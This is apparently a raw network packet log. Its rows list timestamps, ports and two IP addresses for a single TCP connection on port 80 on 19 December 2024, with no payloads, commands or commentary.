Dec 19, 2024 08:21:22.170747995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.171020985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.171907902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.171920061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.171962976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.172486067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.172498941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.172525883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.173113108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.173151970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.175131083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.183669090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.188324928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.188338995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.188404083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.188672066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.188687086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.188715935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.189565897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.189578056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.189604044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.190299988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.190313101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.190340996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.191085100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.191098928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.191133022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.191837072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.191852093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.191883087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.192600012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.192612886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.192643881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.198645115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.209675074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.209693909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.209755898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.210146904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.210160971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.210186005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.210814953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.210833073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.210851908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.211550951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.211564064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.211600065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.212377071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.212390900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.212410927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.213176012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.213190079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.213219881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.213924885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.213937998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.213958025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.214776993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.214791059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.214827061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.215589046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.215601921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.215656042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.216368914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.216382027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.216413021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.217129946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.217143059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.217170954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.217941999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.217955112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.217983961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.218770981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.218786001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.218811035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.219562054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.219574928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.219621897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.220356941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.220371008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.220396996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.221311092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.221324921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.221347094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.221965075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.221983910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.222023010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.222723007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.222737074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.222769976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.223555088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.223568916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.223597050 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.224339962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.224353075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.224395037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.225208998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.225223064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.225265980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.225956917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.225970984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.226005077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.226821899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.226835966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.226865053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.230694056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.230747938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.298489094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.298506021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.298614025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.298794031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.298809052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.298861027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.299609900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.299623966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.299699068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.301192045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.306356907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.306417942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.306740046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.306752920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.306794882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.306948900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.306962013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.307001114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.307766914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.307779074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.307825089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.309673071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.342039108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.342053890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.342149973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.342384100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.342441082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.342700005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.343245029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.343303919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.343355894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.344094038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.344146013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.344167948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.344779015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.344980001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.345022917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.345639944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.345683098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.345715046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.346405029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.346417904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.346462011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.358578920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.358592987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.358640909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.358819962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.358863115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.358874083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.359852076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.359864950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.359957933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.360738039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.360750914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.360784054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.361529112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.361577988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.361645937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.362112045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.362149954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.362195969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.362890959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.362942934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.362946987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.363590956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.363682032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.363729000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.364372969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.364422083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.364483118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.365211964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.365298033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.365319014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.380295992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.380382061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.380414963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.380692005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.380738020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.380769014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.381500006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.381606102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.381656885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.382261992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.382308960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.382366896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.383234978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.383289099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.383349895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.383958101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.384076118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.384129047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.384669065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.384713888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.384819984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.401557922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.401571035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.401660919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.401722908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.401858091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.401879072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.402575016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.402642012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.402714014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.403438091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.403458118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.403486013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.403896093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.404012918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.404062033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.404689074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.404730082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.404803991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.405520916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.405622005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.405668020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.406287909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.406388044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.406429052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.407116890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.407257080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.407305956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.407934904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.407978058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.408023119 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.408696890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.408741951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.408799887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.409516096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.409626961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.409672022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.410279036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.410321951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.410469055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.411094904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.411218882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.411247015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.411881924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.411935091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.412023067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.412676096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.412714005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.412806034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.413506985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.413661957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.413722992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.414289951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.414325953 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.414388895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.415108919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.415155888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.415210962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.415883064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.415988922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.416037083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.416682005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.416726112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.416786909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.417522907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.417642117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.417695045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.418364048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.418406963 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.418523073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.419114113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.419136047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.419186115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.490521908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.490555048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.490658045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.490741014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.490855932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.490921974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.491506100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.491619110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.492305994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.492340088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.498640060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.498704910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.498706102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.498898029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.498940945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.499006987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.499902010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.499937057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.499953032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.500624895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.500668049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.534033060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.534168959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.534307957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.534385920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.534579039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.534637928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.534693956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.535442114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.535500050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.535571098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.536212921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.536257982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.536288023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.536998987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.537036896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.537089109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.537772894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.537838936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.537969112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.538631916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.538714886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.550750017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.550808907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.550940037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.551106930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.551191092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.551270962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.551958084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.551979065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.552026987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.552575111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.552723885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.553179979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.553394079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.553524017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.554178953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.554188013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.554286003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.555018902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.555088997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.555187941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.555324078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.555852890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.555941105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.556075096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.556581020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.556638002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.557420969 CET	80	49720	194.87.47.113	192.168.2.10
